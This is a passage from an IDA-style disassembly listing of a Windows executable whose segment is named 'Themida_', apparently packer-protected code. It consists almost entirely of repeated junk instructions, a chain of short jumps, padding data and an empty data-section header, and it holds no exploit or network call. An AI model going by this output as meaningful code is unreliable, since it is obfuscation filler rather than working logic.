		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	8626h
; ---------------------------------------------------------------------------
		dw 0C142h
; ---------------------------------------------------------------------------
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		xchg	al, es:[edx-3Fh]
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf


loc_652EAA:				; CODE XREF: Themida_:00652F09j
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf


loc_652EB2:				; CODE XREF: Themida_:00652F11j
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf


loc_652EBA:				; CODE XREF: Themida_:00652F19j
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf


loc_652EC2:				; CODE XREF: Themida_:00652F21j
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf


loc_652ECA:				; CODE XREF: Themida_:00652F29j
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf


loc_652ED2:				; CODE XREF: Themida_:00652F31j
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf


loc_652EDA:				; CODE XREF: Themida_:00652F39j
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf


loc_652EE2:				; CODE XREF: Themida_:00652F41j
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf


loc_652EEA:				; CODE XREF: Themida_:00652F49j
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf


loc_652EF2:				; CODE XREF: Themida_:00652F51j
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf


loc_652EFA:				; CODE XREF: Themida_:00652F59j
		dec	edi
		cmpsd
		mov	esi, 0BEA74F9Eh
		sahf


loc_652F02:				; CODE XREF: Themida_:00652F61j
		lahf
		mov	eax, 0F0C79F72h
		jb	short loc_652EAA
		mov	eax, 0F0C79F72h
		jb	short loc_652EB2
		mov	eax, 0F0C79F72h
		jb	short loc_652EBA
		mov	eax, 0F0C79F72h
		jb	short loc_652EC2
		mov	eax, 0F0C79F72h
		jb	short loc_652ECA
		mov	eax, 0F0C79F72h
		jb	short loc_652ED2
		mov	eax, 0F0C79F72h
		jb	short loc_652EDA
		mov	eax, 0F0C79F72h
		jb	short loc_652EE2
		mov	eax, 0F0C79F72h
		jb	short loc_652EEA
		mov	eax, 0F0C79F72h
		jb	short loc_652EF2
		mov	eax, 0F0C79F72h
		jb	short loc_652EFA
		mov	eax, 0F0C79F72h
		jb	short loc_652F02
		mov	eax, 0F0C79F72h
; ---------------------------------------------------------------------------
		db 72h,	9Fh, 0C7h
		dd 2Ch dup(0C79F72F0h),	0CCCCCCF0h, 0D9Ch dup(0CCCCCCCCh)
		dd 0CCh, 0DDBh dup(0)
dword_659E00	dd 1080h dup(0)	Themida_	ends

; Section 5. (virtual address 0025E000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0025E000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 65E000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start